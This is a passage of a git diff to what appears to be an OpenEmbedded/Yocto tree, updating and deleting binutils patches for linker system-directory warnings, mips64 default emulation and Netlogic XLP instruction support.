-+ TWO_DASHES },
+ { {"no-poison-system-directories", no_argument, NULL,
+ OPTION_NO_POISON_SYSTEM_DIRECTORIES},
+ '\0', NULL, N_("Do not warn for -L options using system directories"),
@@ -268,20 +253,18 @@ index 58c6c078325..879e7bb7658 100644
};
#define OPTION_COUNT ARRAY_SIZE (ld_options)
-@@ -1632,6 +1652,13 @@ parse_args (unsigned argc, char **argv)
+@@ -1686,6 +1694,14 @@ parse_args (unsigned argc, char **argv)
+ config.print_map_discarded = true;
+ break;
- case OPTION_PRINT_MAP_DISCARDED:
- config.print_map_discarded = TRUE;
-+
+ case OPTION_NO_POISON_SYSTEM_DIRECTORIES:
-+ command_line.poison_system_directories = FALSE;
++ command_line.poison_system_directories = false;
+ break;
+
+ case OPTION_ERROR_POISON_SYSTEM_DIRECTORIES:
-+ command_line.error_poison_system_directories = TRUE;
- break;
-
++ command_line.error_poison_system_directories = true;
++ break;
++
case OPTION_DEPENDENCY_FILE:
---
-2.28.0
-
+ config.dependency_file = optarg;
+ break;
diff --git a/meta/recipes-devtools/binutils/binutils/0009-Change-default-emulation-for-mips64-linux.patch b/meta/recipes-devtools/binutils/binutils/0009-Change-default-emulation-for-mips64-linux.patch
deleted file mode 100644
index fb5276e183..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0009-Change-default-emulation-for-mips64-linux.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From 13a67e9040c01abd284fe506471e0eab668ee3dc Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:44:14 +0000
-Subject: [PATCH 09/17] Change default emulation for mips64*-*-linux
-
-we change the default emulations to be N64 instead of N32
-
-Upstream-Status: Inappropriate [ OE configuration Specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- bfd/config.bfd | 8 ++++----
- ld/configure.tgt | 8 ++++----
- 2 files changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/bfd/config.bfd b/bfd/config.bfd
-index 14523caf0c5..e5233cd1f7e 100644
---- a/bfd/config.bfd
-+++ b/bfd/config.bfd
-@@ -894,12 +894,12 @@ case "${targ}" in
- targ_selvecs="mips_elf32_le_vec mips_elf64_be_vec mips_elf64_le_vec mips_ecoff_be_vec mips_ecoff_le_vec"
- ;;
- mips64*el-*-linux*)
-- targ_defvec=mips_elf32_ntrad_le_vec
-- targ_selvecs="mips_elf32_ntrad_be_vec mips_elf32_trad_le_vec mips_elf32_trad_be_vec mips_elf64_trad_le_vec mips_elf64_trad_be_vec"
-+ targ_defvec=mips_elf64_trad_le_vec
-+ targ_selvecs="mips_elf32_ntrad_be_vec mips_elf32_ntrad_le_vec mips_elf32_trad_le_vec mips_elf32_trad_be_vec mips_elf64_trad_be_vec"
- ;;
- mips64*-*-linux*)
-- targ_defvec=mips_elf32_ntrad_be_vec
-- targ_selvecs="mips_elf32_ntrad_le_vec mips_elf32_trad_be_vec mips_elf32_trad_le_vec mips_elf64_trad_be_vec mips_elf64_trad_le_vec"
-+ targ_defvec=mips_elf64_trad_be_vec
-+ targ_selvecs="mips_elf32_ntrad_be_vec mips_elf32_ntrad_be_vec mips_elf32_trad_be_vec mips_elf32_trad_le_vec mips_elf64_trad_le_vec"
- ;;
- mips*el-*-linux*)
- targ_defvec=mips_elf32_trad_le_vec
-diff --git a/ld/configure.tgt b/ld/configure.tgt
-index 87c7d9a4cad..9b4bf2ca964 100644
---- a/ld/configure.tgt
-+++ b/ld/configure.tgt
-@@ -531,12 +531,12 @@ mips*-*-vxworks*) targ_emul=elf32ebmipvxworks
- ;;
- mips*-*-windiss) targ_emul=elf32mipswindiss
- ;;
--mips64*el-*-linux-*) targ_emul=elf32ltsmipn32
-- targ_extra_emuls="elf32btsmipn32 elf32ltsmip elf32btsmip elf64ltsmip elf64btsmip"
-+mips64*el-*-linux-*) targ_emul=elf64ltsmip
-+ targ_extra_emuls="elf32btsmipn32 elf32ltsmipn32 elf32ltsmip elf32btsmip elf64btsmip"
- targ_extra_libpath=$targ_extra_emuls
- ;;
--mips64*-*-linux-*) targ_emul=elf32btsmipn32
-- targ_extra_emuls="elf32ltsmipn32 elf32btsmip elf32ltsmip elf64btsmip elf64ltsmip"
-+mips64*-*-linux-*) targ_emul=elf64btsmip
-+ targ_extra_emuls="elf32btsmipn32 elf32ltsmipn32 elf32btsmip elf32ltsmip elf64ltsmip"
- targ_extra_libpath=$targ_extra_emuls
- ;;
- mips*el-*-linux-*) targ_emul=elf32ltsmip
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0010-Add-support-for-Netlogic-XLP.patch b/meta/recipes-devtools/binutils/binutils/0010-Add-support-for-Netlogic-XLP.patch
deleted file mode 100644
index 277db4ec5c..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0010-Add-support-for-Netlogic-XLP.patch
+++ /dev/null
@@ -1,409 +0,0 @@
-From 69ab45c16f80f18fa78121f6e774750b9e9a200b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 14 Feb 2016 17:06:19 +0000
-Subject: [PATCH 10/17] Add support for Netlogic XLP
-
-Patch From: Nebu Philips <nphilips@netlogicmicro.com>
-
-Using the mipsisa64r2nlm target, add support for XLP from
-Netlogic. Also, update vendor name to NLM wherever applicable.
-
-Use 0x00000080 for INSN_XLP, the value 0x00000040 has already been
-assigned to INSN_OCTEON3
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Baoshan Pang <baoshan.pang@windriver.com>
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
----
- bfd/aoutx.h | 1 +
- bfd/archures.c | 1 +
- bfd/bfd-in2.h | 1 +
- bfd/config.bfd | 5 +++++
- bfd/cpu-mips.c | 6 ++++--
- bfd/elfxx-mips.c | 8 ++++++++
- binutils/readelf.c | 1 +
- gas/config/tc-mips.c | 4 +++-
- gas/configure | 3 +++
- gas/configure.ac | 3 +++
- include/elf/mips.h | 1 +
- include/opcode/mips.h | 6 ++++++
- ld/configure.tgt | 3 +++
- opcodes/mips-dis.c | 12 +++++-------
- opcodes/mips-opc.c | 31 ++++++++++++++++++++-----------
- 15 files changed, 65 insertions(+), 21 deletions(-)
-
-diff --git a/bfd/aoutx.h b/bfd/aoutx.h
-index d352a1a3e44..2e2c3c1af86 100644
---- a/bfd/aoutx.h
-+++ b/bfd/aoutx.h
-@@ -810,6 +810,7 @@ NAME (aout, machine_type) (enum bfd_architecture arch,
- case bfd_mach_mipsisa64r6:
- case bfd_mach_mips_sb1:
- case bfd_mach_mips_xlr:
-+ case bfd_mach_mips_xlp:
- /* FIXME: These should be MIPS3, MIPS4, MIPS16, MIPS32, etc. */
- arch_flags = M_MIPS2;
- break;
-diff --git a/bfd/archures.c b/bfd/archures.c
-index 551ec8732f0..2665b378623 100644
---- a/bfd/archures.c
-+++ b/bfd/archures.c
-@@ -185,6 +185,7 @@ DESCRIPTION
- .#define bfd_mach_mips_octeon3 6503
- .#define bfd_mach_mips_xlr 887682 {* decimal 'XLR'. *}
- .#define bfd_mach_mips_interaptiv_mr2 736550 {* decimal 'IA2'. *}
-+.#define bfd_mach_mips_xlp 887680 {* decimal 'XLP'. *}
- .#define bfd_mach_mipsisa32 32
- .#define bfd_mach_mipsisa32r2 33
- .#define bfd_mach_mipsisa32r3 34
-diff --git a/bfd/bfd-in2.h b/bfd/bfd-in2.h
-index 35ef4d755bb..48db00af80b 100644
---- a/bfd/bfd-in2.h
-+++ b/bfd/bfd-in2.h
-@@ -1585,6 +1585,7 @@ enum bfd_architecture
- #define bfd_mach_mips_octeon3 6503
- #define bfd_mach_mips_xlr 887682 /* decimal 'XLR'. */
- #define bfd_mach_mips_interaptiv_mr2 736550 /* decimal 'IA2'. */
-+#define bfd_mach_mips_xlp 887680 /* decimal 'XLP'. */
- #define bfd_mach_mipsisa32 32
- #define bfd_mach_mipsisa32r2 33
- #define bfd_mach_mipsisa32r3 34
-diff --git a/bfd/config.bfd b/bfd/config.bfd
-index e5233cd1f7e..2e4ae6bbdff 100644
---- a/bfd/config.bfd
-+++ b/bfd/config.bfd
-@@ -877,6 +877,11 @@ case "${targ}" in
- targ_defvec=mips_elf32_le_vec
- targ_selvecs="mips_elf32_be_vec mips_elf64_be_vec mips_elf64_le_vec"
- ;;
-+ mipsisa64*-*-elf*)
-+ targ_defvec=mips_elf32_trad_be_vec
-+ targ_selvecs="mips_elf32_trad_le_vec mips_elf64_trad_be_vec mips_elf64_trad_le_vec"
-+ want64=true
-+ ;;
- mips*-*-elf* | mips*-*-rtems* | mips*-*-windiss | mips*-*-none)
- targ_defvec=mips_elf32_be_vec
- targ_selvecs="mips_elf32_le_vec mips_elf64_be_vec mips_elf64_le_vec"
-diff --git a/bfd/cpu-mips.c b/bfd/cpu-mips.c
-index 802acb45f1e..fd9ec4c0ad4 100644
---- a/bfd/cpu-mips.c
-+++ b/bfd/cpu-mips.c
-@@ -108,7 +108,8 @@ enum
- I_mipsocteon3,
- I_xlr,
- I_interaptiv_mr2,
-- I_micromips
-+ I_micromips,
-+ I_xlp
- };
-
- #define NN(index) (&arch_info_struct[(index) + 1])
-@@ -163,7 +164,8 @@ static const bfd_arch_info_type arch_info_struct[] =
- N (64, 64, bfd_mach_mips_xlr, "mips:xlr", FALSE, NN(I_xlr)),
- N (32, 32, bfd_mach_mips_interaptiv_mr2, "mips:interaptiv-mr2", FALSE,
- NN(I_interaptiv_mr2)),
-- N (64, 64, bfd_mach_mips_micromips, "mips:micromips", FALSE, NULL)
-+ N (64, 64, bfd_mach_mips_micromips, "mips:micromips", FALSE, NN(I_micromips)),
-+ N (64, 64, bfd_mach_mips_xlp, "mips:xlp", FALSE, NULL)
- };
-
- /* The default architecture is mips:3000, but with a machine number of
-diff --git a/bfd/elfxx-mips.c b/bfd/elfxx-mips.c
-index 160febec94c..4c9499cc2cf 100644
---- a/bfd/elfxx-mips.c
-+++ b/bfd/elfxx-mips.c
-@@ -6982,6 +6982,9 @@ _bfd_elf_mips_mach (flagword flags)
- case E_MIPS_MACH_IAMR2:
- return bfd_mach_mips_interaptiv_mr2;
-
-+ case E_MIPS_MACH_XLP:
-+ return bfd_mach_mips_xlp;
-+
- default:
- switch (flags & EF_MIPS_ARCH)
- {
-@@ -12356,6 +12359,10 @@ mips_set_isa_flags (bfd *abfd)
- val = E_MIPS_ARCH_64R2 | E_MIPS_MACH_OCTEON2;
- break;
-
-+ case bfd_mach_mips_xlp:
-+ val = E_MIPS_ARCH_64R2 | E_MIPS_MACH_XLP;
-+ break;
-+
- case bfd_mach_mipsisa32:
- val = E_MIPS_ARCH_32;
- break;
-@@ -14373,6 +14380,7 @@ static const struct mips_mach_extension mips_mach_extensions[] =
- { bfd_mach_mips_gs264e, bfd_mach_mips_gs464e },
- { bfd_mach_mips_gs464e, bfd_mach_mips_gs464 },
- { bfd_mach_mips_gs464, bfd_mach_mipsisa64r2 },
-+ { bfd_mach_mips_xlp, bfd_mach_mipsisa64r2 },
-
- /* MIPS64 extensions. */
- { bfd_mach_mipsisa64r2, bfd_mach_mipsisa64 },
-diff --git a/binutils/readelf.c b/binutils/readelf.c
-index 6057515a89b..ea119b0b254 100644
---- a/binutils/readelf.c
-+++ b/binutils/readelf.c
-@@ -3483,6 +3483,7 @@ get_machine_flags (Filedata * filedata, unsigned e_flags, unsigned e_machine)
- case E_MIPS_MACH_OCTEON3: strcat (buf, ", octeon3"); break;
- case E_MIPS_MACH_XLR: strcat (buf, ", xlr"); break;
- case E_MIPS_MACH_IAMR2: strcat (buf, ", interaptiv-mr2"); break;
-+ case E_MIPS_MACH_XLP: strcat (buf, ", xlp"); break;
- case 0:
- /* We simply ignore the field in this case to avoid confusion:
- MIPS ELF does not specify EF_MIPS_MACH, it is a GNU
-diff --git a/gas/config/tc-mips.c b/gas/config/tc-mips.c
-index 31acb77d78a..0ead168d51e 100644
---- a/gas/config/tc-mips.c
-+++ b/gas/config/tc-mips.c
-@@ -568,6 +568,7 @@ static int mips_32bitmode = 0;
- || mips_opts.arch == CPU_RM7000 \
- || mips_opts.arch == CPU_VR5500 \
- || mips_opts.micromips \
-+ || mips_opts.arch == CPU_XLP \
- )
-
- /* Whether the processor uses hardware interlocks to protect reads
-@@ -597,6 +598,7 @@ static int mips_32bitmode = 0;
- && mips_opts.isa != ISA_MIPS3) \
- || mips_opts.arch == CPU_R4300 \
- || mips_opts.micromips \
-+ || mips_opts.arch == CPU_XLP \
- )
-
- /* Whether the processor uses hardware interlocks to protect reads
-@@ -20174,7 +20176,7 @@ static const struct mips_cpu_info mips_cpu_info_table[] =
- /* Broadcom XLP.
- XLP is mostly like XLR, with the prominent exception that it is
- MIPS64R2 rather than MIPS64. */
-- { "xlp", 0, 0, ISA_MIPS64R2, CPU_XLR },
-+ { "xlp", 0, 0, ISA_MIPS64R2, CPU_XLP },
-
- /* MIPS 64 Release 6. */
- { "i6400", 0, ASE_VIRT | ASE_MSA, ISA_MIPS64R6, CPU_MIPS64R6},
-diff --git a/gas/configure b/gas/configure
-index 5bccfd9d1b7..d4b13e6fc8b 100755
---- a/gas/configure
-+++ b/gas/configure
-@@ -12722,6 +12722,9 @@ _ACEOF
- mipsisa64r6 | mipsisa64r6el)
- mips_cpu=mips64r6
- ;;
-+ mipsisa64r2nlm | mipsisa64r2nlmel)
-+ mips_cpu=xlp
-+ ;;
- mipstx39 | mipstx39el)
- mips_cpu=r3900
- ;;
-diff --git a/gas/configure.ac b/gas/configure.ac
-index b65108fecb2..ce1f2dad9bc 100644
---- a/gas/configure.ac
-+++ b/gas/configure.ac
-@@ -325,6 +325,9 @@ changequote([,])dnl
- mipsisa64r6 | mipsisa64r6el)
- mips_cpu=mips64r6
- ;;
-+ mipsisa64r2nlm | mipsisa64r2nlmel)
-+ mips_cpu=xlp
-+ ;;
- mipstx39 | mipstx39el)
- mips_cpu=r3900
- ;;
-diff --git a/include/elf/mips.h b/include/elf/mips.h
-index cc08ebd4318..bb518575ce1 100644
---- a/include/elf/mips.h
-+++ b/include/elf/mips.h
-@@ -290,6 +290,7 @@ END_RELOC_NUMBERS (R_MIPS_maxext)
- #define E_MIPS_MACH_SB1 0x008a0000
- #define E_MIPS_MACH_OCTEON 0x008b0000
- #define E_MIPS_MACH_XLR 0x008c0000
-+#define E_MIPS_MACH_XLP 0x008f0000
- #define E_MIPS_MACH_OCTEON2 0x008d0000
- #define E_MIPS_MACH_OCTEON3 0x008e0000
- #define E_MIPS_MACH_5400 0x00910000
-diff --git a/include/opcode/mips.h b/include/opcode/mips.h
-index fd031f37588..a96a44df840 100644
---- a/include/opcode/mips.h
-+++ b/include/opcode/mips.h
-@@ -1260,6 +1260,8 @@ static const unsigned int mips_isa_table[] = {
- #define INSN_XLR 0x00000020
- /* Imagination interAptiv MR2. */
- #define INSN_INTERAPTIV_MR2 0x04000000
-+/* Netlogic XlP instruction */
-+#define INSN_XLP 0x00000080
-
- /* DSP ASE */
- #define ASE_DSP 0x00000001
-@@ -1384,6 +1386,7 @@ static const unsigned int mips_isa_table[] = {
- #define CPU_OCTEON3 6503
- #define CPU_XLR 887682 /* decimal 'XLR' */
- #define CPU_INTERAPTIV_MR2 736550 /* decimal 'IA2' */
-+#define CPU_XLP 887680 /* decimal 'XLP' */
-
- /* Return true if the given CPU is included in INSN_* mask MASK. */
-
-@@ -1461,6 +1464,9 @@ cpu_is_member (int cpu, unsigned int mask)
- return ((mask & INSN_ISA_MASK) == INSN_ISA32R6)
- || ((mask & INSN_ISA_MASK) == INSN_ISA64R6);
-
-+ case CPU_XLP:
-+ return (mask & INSN_XLP) != 0;
-+
- default:
- return FALSE;
- }
-diff --git a/ld/configure.tgt b/ld/configure.tgt
-index 9b4bf2ca964..f6d7171dff7 100644
---- a/ld/configure.tgt
-+++ b/ld/configure.tgt
-@@ -510,6 +510,9 @@ mips*-sde-elf* | mips*-mti-elf* | mips*-img-elf*)
- targ_emul=elf32btsmip
- targ_extra_emuls="elf32ltsmip elf32btsmipn32 elf64btsmip elf32ltsmipn32 elf64ltsmip"
- ;;
-+mipsisa64*-*-elf*) targ_emul=elf32btsmip
-+ targ_extra_emuls="elf32ltsmip elf64btsmip elf64ltsmip"
-+ ;;
- mips64*el-ps2-elf*) targ_emul=elf32lr5900n32
- targ_extra_emuls="elf32lr5900"
- targ_extra_libpath=$targ_extra_emuls
-diff --git a/opcodes/mips-dis.c b/opcodes/mips-dis.c
-index 755bbe294bd..ce22ef683a6 100644
---- a/opcodes/mips-dis.c
-+++ b/opcodes/mips-dis.c
-@@ -674,13 +674,11 @@ const struct mips_arch_choice mips_arch_choices[] =
- mips_cp0sel_names_xlr, ARRAY_SIZE (mips_cp0sel_names_xlr),
- mips_cp1_names_mips3264, mips_hwr_names_numeric },
-
-- /* XLP is mostly like XLR, with the prominent exception it is being
-- MIPS64R2. */
-- { "xlp", 1, bfd_mach_mips_xlr, CPU_XLR,
-- ISA_MIPS64R2 | INSN_XLR, 0,
-- mips_cp0_names_xlr,
-- mips_cp0sel_names_xlr, ARRAY_SIZE (mips_cp0sel_names_xlr),
-- mips_cp1_names_mips3264, mips_hwr_names_numeric },
-+ { "xlp", 1, bfd_mach_mips_xlp, CPU_XLP,
-+ ISA_MIPS64R2 | INSN_XLP, 0,
-+ mips_cp0_names_mips3264r2,
-+ mips_cp0sel_names_mips3264r2, ARRAY_SIZE (mips_cp0sel_names_mips3264r2),
-+ mips_cp1_names_mips3264, mips_hwr_names_mips3264r2 },
-
- /* This entry, mips16, is here only for ISA/processor selection; do
- not print its name. */
-diff --git a/opcodes/mips-opc.c b/opcodes/mips-opc.c
-index 5270aeefa80..d17dc78cd71 100644
---- a/opcodes/mips-opc.c
-+++ b/opcodes/mips-opc.c
-@@ -328,6 +328,7 @@ decode_mips_operand (const char *p)
- #define IOCT3 INSN_OCTEON3
- #define XLR INSN_XLR
- #define IAMR2 INSN_INTERAPTIV_MR2
-+#define XLP INSN_XLP
- #define IVIRT ASE_VIRT
- #define IVIRT64 ASE_VIRT64
-
-@@ -990,6 +991,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"clo", "U,s", 0x70000021, 0xfc0007ff, WR_1|RD_2, 0, I32|N55, 0, I37 },
- {"clz", "d,s", 0x00000050, 0xfc1f07ff, WR_1|RD_2, 0, I37, 0, 0 },
- {"clz", "U,s", 0x70000020, 0xfc0007ff, WR_1|RD_2, 0, I32|N55, 0, I37 },
-+{"crc", "d,s,t", 0x7000001c, 0xfc0007ff, WR_1|RD_2|RD_3, 0, XLP, 0, 0 },
- /* ctc0 is at the bottom of the table. */
- {"ctc1", "t,G", 0x44c00000, 0xffe007ff, RD_1|WR_CC|CM, 0, I1, 0, 0 },
- {"ctc1", "t,S", 0x44c00000, 0xffe007ff, RD_1|WR_CC|CM, 0, I1, 0, 0 },
-@@ -1022,12 +1024,13 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"daddiu", "t,r,j", 0x64000000, 0xfc000000, WR_1|RD_2, 0, I3, 0, 0 },
- {"daddu", "d,v,t", 0x0000002d, 0xfc0007ff, WR_1|RD_2|RD_3, 0, I3, 0, 0 },
- {"daddu", "t,r,I", 0, (int) M_DADDU_I, INSN_MACRO, 0, I3, 0, 0 },
--{"daddwc", "d,s,t", 0x70000038, 0xfc0007ff, WR_1|RD_2|RD_3|WR_C0|RD_C0, 0, XLR, 0, 0 },
-+{"daddwc", "d,s,t", 0x70000038, 0xfc0007ff, WR_1|RD_2|RD_3|WR_C0|RD_C0, 0, XLR|XLP, 0, 0 },
- {"dbreak", "", 0x7000003f, 0xffffffff, 0, 0, N5, 0, 0 },
- {"dclo", "d,s", 0x00000053, 0xfc1f07ff, WR_1|RD_2, 0, I69, 0, 0 },
- {"dclo", "U,s", 0x70000025, 0xfc0007ff, WR_1|RD_2, 0, I64|N55, 0, I69 },
- {"dclz", "d,s", 0x00000052, 0xfc1f07ff, WR_1|RD_2, 0, I69, 0, 0 },
- {"dclz", "U,s", 0x70000024, 0xfc0007ff, WR_1|RD_2, 0, I64|N55, 0, I69 },
-+{"dcrc", "d,s,t", 0x7000001d, 0xfc0007ff, WR_1|RD_2|RD_3, 0, XLP, 0, 0 },
- /* dctr and dctw are used on the r5000. */
- {"dctr", "o(b)", 0xbc050000, 0xfc1f0000, RD_2, 0, I3, 0, 0 },
- {"dctw", "o(b)", 0xbc090000, 0xfc1f0000, RD_2, 0, I3, 0, 0 },
-@@ -1099,6 +1102,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"dmfc0", "t,G,H", 0x40200000, 0xffe007f8, WR_1|RD_C0|LC, 0, I64, 0, 0 },
- {"dmfgc0", "t,G", 0x40600100, 0xffe007ff, WR_1|RD_C0|LC, 0, 0, IVIRT64, 0 },
- {"dmfgc0", "t,G,H", 0x40600100, 0xffe007f8, WR_1|RD_C0|LC, 0, 0, IVIRT64, 0 },
-+{"dmfur", "t,d", 0x7000001e, 0xffe007ff, WR_1, 0, XLP, 0, 0 },
- {"dmt", "", 0x41600bc1, 0xffffffff, TRAP, 0, 0, MT32, 0 },
- {"dmt", "t", 0x41600bc1, 0xffe0ffff, WR_1|TRAP, 0, 0, MT32, 0 },
- {"dmtc0", "t,G", 0x40a00000, 0xffe007ff, RD_1|WR_C0|WR_CC|CM, 0, I3, 0, EE },
-@@ -1114,6 +1118,8 @@ const struct mips_opcode mips_builtin_opcodes[] =
- /* dmfc3 is at the bottom of the table. */
- /* dmtc3 is at the bottom of the table. */
- {"dmuh", "d,s,t", 0x000000dc, 0xfc0007ff, WR_1|RD_2|RD_3, 0, I69, 0, 0 },
-+{"dmtur", "t,d", 0x7000001f, 0xffe007ff, RD_1, 0, XLP, 0, 0 },
-+{"dmul", "d,s,t", 0x70000006, 0xfc0007ff, WR_1|RD_2|RD_3, 0, XLP, 0, 0 },
- {"dmul", "d,s,t", 0x0000009c, 0xfc0007ff, WR_1|RD_2|RD_3, 0, I69, 0, 0 },
- {"dmul", "d,v,t", 0x70000003, 0xfc0007ff, WR_1|RD_2|RD_3|WR_HILO, 0, IOCT, 0, 0 },
- {"dmul", "d,v,t", 0, (int) M_DMUL, INSN_MACRO, 0, I3, 0, M32|I69 },
-@@ -1267,9 +1273,9 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"ld", "s,-b(+R)", 0xec180000, 0xfc1c0000, WR_1, RD_pc, I69, 0, 0 },
- {"ld", "t,A(b)", 0, (int) M_LD_AB, INSN_MACRO, 0, I1, 0, 0 },
- {"ld", "t,o(b)", 0xdc000000, 0xfc000000, WR_1|RD_3|LM, 0, I3, 0, 0 },
--{"ldaddw", "t,b", 0x70000010, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"ldaddwu", "t,b", 0x70000011, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"ldaddd", "t,b", 0x70000012, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
-+{"ldaddw", "t,b", 0x70000010, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"ldaddwu", "t,b", 0x70000011, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"ldaddd", "t,b", 0x70000012, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
- {"ldc1", "T,o(b)", 0xd4000000, 0xfc000000, WR_1|RD_3|CLD|FP_D, 0, I2, 0, SF },
- {"ldc1", "E,o(b)", 0xd4000000, 0xfc000000, WR_1|RD_3|CLD|FP_D, 0, I2, 0, SF },
- {"ldc1", "T,A(b)", 0, (int) M_LDC1_AB, INSN_MACRO, INSN2_M_FP_D, I2, 0, SF },
-@@ -1438,7 +1444,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"mflo", "d,9", 0x00000012, 0xff9f07ff, WR_1|RD_LO, 0, 0, D32, 0 },
- {"mflo1", "d", 0x70000012, 0xffff07ff, WR_1|RD_LO, 0, EE, 0, 0 },
- {"mflhxu", "d", 0x00000052, 0xffff07ff, WR_1|MOD_HILO, 0, 0, SMT, 0 },
--{"mfcr", "t,s", 0x70000018, 0xfc00ffff, WR_1|RD_2, 0, XLR, 0, 0 },
-+{"mfcr", "t,s", 0x70000018, 0xfc00ffff, WR_1, 0, XLR|XLP, 0, 0 },
- {"mfsa", "d", 0x00000028, 0xffff07ff, WR_1, 0, EE, 0, 0 },
- {"min.ob", "X,Y,Q", 0x78000006, 0xfc20003f, WR_1|RD_2|RD_3|FP_D, 0, SB1, MX, 0 },
- {"min.ob", "D,S,Q", 0x48000006, 0xfc20003f, WR_1|RD_2|RD_3|FP_D, 0, N54, 0, 0 },
-@@ -1483,10 +1489,13 @@ const struct mips_opcode mips_builtin_opcodes[] =
- /* move is at the top of the table. */
- {"msgn.qh", "X,Y,Q", 0x78200000, 0xfc20003f, WR_1|RD_2|RD_3|FP_D, 0, 0, MX, 0 },
- {"msgsnd", "t", 0, (int) M_MSGSND, INSN_MACRO, 0, XLR, 0, 0 },
-+{"msgsnds", "d,t", 0x4a000001, 0xffe007ff, WR_1|RD_2|RD_C0|WR_C0, 0, XLP, 0, 0 },
- {"msgld", "", 0, (int) M_MSGLD, INSN_MACRO, 0, XLR, 0, 0 },
- {"msgld", "t", 0, (int) M_MSGLD_T, INSN_MACRO, 0, XLR, 0, 0 },
--{"msgwait", "", 0, (int) M_MSGWAIT, INSN_MACRO, 0, XLR, 0, 0 },
--{"msgwait", "t", 0, (int) M_MSGWAIT_T,INSN_MACRO, 0, XLR, 0, 0 },
-+{"msglds", "d,t", 0x4a000002, 0xffe007ff, WR_1|RD_2|RD_C0|WR_C0, 0, XLP, 0, 0 },
-+{"msgwait", "", 0, (int) M_MSGWAIT, INSN_MACRO, 0, XLR|XLP, 0, 0 },
-+{"msgwait", "t", 0, (int) M_MSGWAIT_T,INSN_MACRO, 0, XLR|XLP, 0, 0 },
-+{"msgsync", "", 0x4a000004, 0xffffffff,0, 0, XLP, 0, 0 },
- {"msub.d", "D,R,S,T", 0x4c000029, 0xfc00003f, WR_1|RD_2|RD_3|RD_4|FP_D, 0, I4_33, 0, I37 },
- {"msub.d", "D,S,T", 0x46200019, 0xffe0003f, WR_1|RD_2|RD_3|FP_D, 0, IL2E, 0, 0 },
- {"msub.d", "D,S,T", 0x72200019, 0xffe0003f, WR_1|RD_2|RD_3|FP_D, 0, IL2F, 0, 0 },
-@@ -1536,7 +1545,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"mtlo", "s,7", 0x00000013, 0xfc1fe7ff, RD_1|WR_LO, 0, 0, D32, 0 },
- {"mtlo1", "s", 0x70000013, 0xfc1fffff, RD_1|WR_LO, 0, EE, 0, 0 },
- {"mtlhx", "s", 0x00000053, 0xfc1fffff, RD_1|MOD_HILO, 0, 0, SMT, 0 },
--{"mtcr", "t,s", 0x70000019, 0xfc00ffff, RD_1|RD_2, 0, XLR, 0, 0 },
-+{"mtcr", "t,s", 0x70000019, 0xfc00ffff, RD_1, 0, XLR|XLP, 0, 0 },
- {"mtm0", "s", 0x70000008, 0xfc1fffff, RD_1, 0, IOCT, 0, 0 },
- {"mtm0", "s,t", 0x70000008, 0xfc00ffff, RD_1|RD_2, 0, IOCT3, 0, 0 },
- {"mtm1", "s", 0x7000000c, 0xfc1fffff, RD_1, 0, IOCT, 0, 0 },
-@@ -1978,9 +1987,9 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"suxc1", "S,t(b)", 0x4c00000d, 0xfc0007ff, RD_1|RD_2|RD_3|SM|FP_D, 0, I5_33|N55, 0, I37},
- {"sw", "t,o(b)", 0xac000000, 0xfc000000, RD_1|RD_3|SM, 0, I1, 0, 0 },
- {"sw", "t,A(b)", 0, (int) M_SW_AB, INSN_MACRO, 0, I1, 0, 0 },
--{"swapw", "t,b", 0x70000014, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"swapwu", "t,b", 0x70000015, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"swapd", "t,b", 0x70000016, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
-+{"swapw", "t,b", 0x70000014, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"swapwu", "t,b", 0x70000015, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"swapd", "t,b", 0x70000016, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
- {"swc0", "E,o(b)", 0xe0000000, 0xfc000000, RD_3|RD_C0|SM, 0, I1, 0, IOCT|IOCTP|IOCT2|I37 },
- {"swc0", "E,A(b)", 0, (int) M_SWC0_AB, INSN_MACRO, 0, I1, 0, IOCT|IOCTP|IOCT2|I37 },
- {"swc1", "T,o(b)", 0xe4000000, 0xfc000000, RD_1|RD_3|SM|FP_S, 0, I1, 0, 0 },
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch b/meta/recipes-devtools/binutils/binutils/0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch
index 10c3d80865..a271f55ea1 100644
--- a/meta/recipes-devtools/binutils/binutils/0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch
+++ b/meta/recipes-devtools/binutils/binutils/0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch
@@ -1,7 +1,11 @@
-From 7836f8aa56ef0f18c8658dc7e4952a9d097ba7e8 Mon Sep 17 00:00:00 2001
